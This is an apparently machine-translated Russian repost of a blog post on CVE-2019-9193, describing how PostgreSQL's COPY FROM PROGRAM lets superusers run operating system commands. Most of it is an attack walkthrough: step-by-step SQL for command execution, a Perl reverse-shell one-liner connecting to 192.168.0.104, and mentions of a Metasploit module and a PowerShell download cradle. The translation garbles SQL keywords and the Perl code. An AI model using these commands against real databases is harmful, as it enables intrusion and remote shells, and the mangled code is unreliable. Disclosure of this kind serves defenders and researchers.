PostgreSQL, широко известный как Postgres, является одной из самых больших и популярных систем баз данных в мире. Это основная база данных Mac OSX, но также доступны версии для Linux и Windows.
Сегодня я собираюсь перейти к менее известной «функции» (CVE-2019–9193), которая позволяет определенным пользователям базы данных получить выполнение произвольного кода в контексте пользователя, запускающего экземпляр Postgres. Это то, что по умолчанию включено во всех версиях PostgreSQL с 9.3 до 11.2. Это влияет на все операционные системы, Windows, Linux и Mac.
Начиная с
Ссылка скрыта от гостей
, была реализована новая функциональность для «
Ссылка скрыта от гостей
». Это позволяет суперпользователю базы данных и любому пользователю в группе 'pg_execute_server_program' запускать произвольные команды операционной системы. Это фактически означает, что не существует разделения привилегий между пользователем суперпользователя базы данных и пользователем, управляющим базой данных в операционной системе.Это недостаток глубокой защиты, который мы привыкли видеть в Microsoft SQL Server еще в начале 2000-х годов, когда функция xp_cmdshell была включена по умолчанию. Это было исправлено и отключено по умолчанию в Microsoft SQL Server 2005, но интересно, как одни и те же ошибки повторяются, по-видимому, циклично.
Поскольку этот баг / недостаток / функциональность / эксплойт находится где-то между повышением привилегий и выполнением произвольного кода, он требует некоторой предварительной аутентификации. Это достигается либо путем доступа к базе данных с учетными данными, либо с помощью внедрения SQL-кода в приложении, имеющем PostgreSQL на серверной части. Опять же, в обоих этих случаях необходимо использовать суперпользователя или пользователя с разрешениями 'pg_execute_server_program'.
Чтобы выполнить атаку, вы просто выполните следующие действия:
1) [Необязательно] Удалите таблицу, которую хотите использовать, если она уже существует
DROP TABLE ЕСЛИ СУЩЕСТВУЕТ cmd_exec;
2) Создайте таблицу, в которой вы хотите провести вывод команды
CREATE TABLE cmd_exec (текст cmd_output);
3) Запустите системную команду с помощью функции COPY FROM PROGRAM
COPY cmd_exec ИЗ ПРОГРАММЫ 'id';
4) [Необязательно] Посмотреть результаты
SELECT * FROM cmd_exec;
5) [Необязательно] Убери за собой
DROP TABLE ЕСЛИ СУЩЕСТВУЕТ cmd_exec;
Обратите внимание, что любые одинарные кавычки внутри вашей команды должны быть двойными одинарными кавычками, чтобы избежать их, например, если вы хотите выполнить:
‘echo ‘’hello’’;’
Вам нужно будет поместить его в одинарные кавычки, а затем заменить все одинарные кавычки внутри двойными одинарными кавычками:
‘echo ‘’hello’’;’
Я проверил это на всех основных операционных системах, и если запускается обратная оболочка, вы получаете следующие привилегии:
Windows - NT AUTHORITY / NETWORK SERVICE (низкая привилегия)
Linux - postgres (низкая привилегия)
Mac - пользователь, который установил postgres (обычно администратор)
Linux и Mac OSX обычно можно использовать с помощью perl one liner с помощью такой команды:
КОПИРОВАНИЕ файлов ИЗ ПРОГРАММЫ 'perl -MIO -e' '$ p = fork; выход, если ($ p); $ c = новый IO :: Socket :: INET (PeerAddr, ”192.168.0.104:80"); STDIN- > fdopen ($ c, r); $ ~ -> fdopen ($ c, w); система $ _ while <>; '' ';
Я упростил процессы эксплуатации, выпустив новый модуль Metasploit (который скоро должен быть объединен с основной платформой ), поскольку старые модули postgres_payload работают только до версии 8. postgres_copy_from_program_cmd_exec.rb выполняет все вышеперечисленное автоматически, если вы предоставите это с действительными учетными данными базы данных, которые имеют правильные разрешения. Для SQL-инъекций вам придется выбрать ручной маршрут. Здесь используется PostgreSQL 11.2 в Linux Ubuntu 18.04:
Однако для Windows пользователь NETWORK SERVICE, по-видимому, не имеет никаких прав записи, но все еще можно было запустить обратную оболочку с помощью загрузочной подставки PowerShell. Это можно сделать, установив переменную COMMAND для команды колыбели PowerShell. Обратите внимание, чтобы экранировать одинарные кавычки с обратной косой чертой \. Здесь он использует PostgreSQL 10.7 на Windows 10.
Я надеюсь, что вы найдете эту новую технику полезной.
Обновление: ранее в этом блоге содержалась ошибка, заключающаяся в том, что на самом деле эту группу могут выполнять пользователи группы pg_execute_server_program, а не пользователи группы pg_read_server_files.
Источник:
Ссылка скрыта от гостей